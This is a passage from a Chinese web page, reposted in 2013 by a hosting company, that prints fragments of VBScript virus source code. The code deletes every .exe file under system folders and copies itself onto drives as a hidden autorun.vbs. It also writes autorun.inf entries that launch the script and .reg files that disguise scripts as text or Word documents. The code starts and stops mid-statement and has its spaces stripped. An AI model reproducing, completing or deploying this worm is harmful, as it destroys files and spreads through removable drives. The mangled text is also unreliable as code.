vbs病毒源文件
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
| r(2),fs.GetSpecialFolder(0)&"\system") fori=0to2 scanexe(vir(i)) next endFunction Functionscanexe(a) wscript.sleep100 OnErrorResumeNext dimfiles,file,folder_ iffs.FolderExists(a)then setfolder_=fs.getfolder(a) setfiles=folder_.files foreachfileinfiles ext=fs.GetExtensionName(file) ext=lcase(ext) ifext="exe"then Setf=fs.GetFile(file) f.delete(true) endif next setsubfolders=folder_.subfolders foreachsubfolderinsubfolders scanexe(subfolder) next endif endFunction Functionfindinf(z) OnErrorResumeNext Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then else fff=sss&".copy("&chr(34)&fs.GetSpecialFolder(1)&"\USBDRIVE.dll"&chr(34)&")" Executefff Iffs.FileExists(fs.GetSpecialFolder(1)&"\USBDRIVE.dll")Then else ppp=a6&Space(2)&chr(34)&a5&chr(34)&","&chr(34)&"D:\SystemVolumeInformation"&"\USBDR"&"IVE.dll"&chr(34) Executeppp endif endif Iffs.FileExists(z.DriveLetter&":\autorun.vbs")Then else fff=sss&".copy("&chr(34)&z.DriveLetter&":\autorun.vbs"&chr(34)&")" Executefff Setf=fs.GetFile(z.DriveLetter&":\autorun.vbs") f.attributes=f.attributes+7 endif Iffs.FileExists(z.DriveLetter&":\autorun.inf")Then Setc=fs.opentextfile(z.DriveLetter&":\autorun.inf",1) vbc=c.readall IfInStr(vbc,"WScript.exe.\autorun.vbs")<>0Then c.Close Else Setf=fs.GetFile(z.DriveLetter&":\autorun.inf") f.attributes=f.attributes-f.attributes Setts=f.OpenAsTextStream(2,-2) ts.WriteLine"[AutoRun]"（以下建立自动播放文件） ts.WriteLine"open=" ts.WriteLine"" ts.WriteLine"shell\open=打开(&O)" ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs" ts.WriteLine"shell\open\Default=1" ts.close f.attributes=f.attributes+7 endif else Setts=fs.CreateTextFile(z.DriveLetter&":\autorun.inf",true) ts.WriteLine"[AutoRun]" ts.WriteLine"open=" ts.WriteLine"" ts.WriteLine"shell\open=打开(&O)" ts.WriteLine"shell\open\Command=WScript.exe.\autorun.vbs" ts.WriteLine"shell\open\Default=1" ts.close Setf=fs.GetFile(z.DriveLetter&":\autorun.inf") f.attributes=f.attributes+7 EndIf iffs.FileExists(z.DriveLetter&":\vbs.reg")then else Setts=fs.CreateTextFile(z.DriveLetter&":\vbs.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"文本文件"&chr(34) ts.close Setf=fs.GetFile(z.DriveLetter&":\vbs.reg") f.attributes=f.attributes+7 endif iffs.FileExists(z.DriveLetter&":\doc.reg")then else Setts=fs.CreateTextFile(z.DriveLetter&":\doc.reg",true) ts.WriteLine"WindowsRegistryEditorVersion5.00" ts.WriteLine"[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]" ts.WriteLinechr(34)&chr(64)&"C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34)&"="&chr(34)&"MicrosoftWord文档"&chr(34) ts.close Setf=fs.GetFile(z.DriveLetter&":\doc.reg") f.attributes=f.attributes+7 endif endFunction FunctionKillProcess(NameorPID) OnErrorResumeNext DimoWMI,oProcs,oProc,strSQL KillProcess=False strSQL="SELECT*FROMWin32_Process" IfNameOrPID<>""Then IfIs |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
- HTTP/1.1 401 Access Denied
上一篇: 用vbs操作注册表实例代码下一篇: 学习 WSH 的理由小结
关于vbs病毒源文件的所有评论
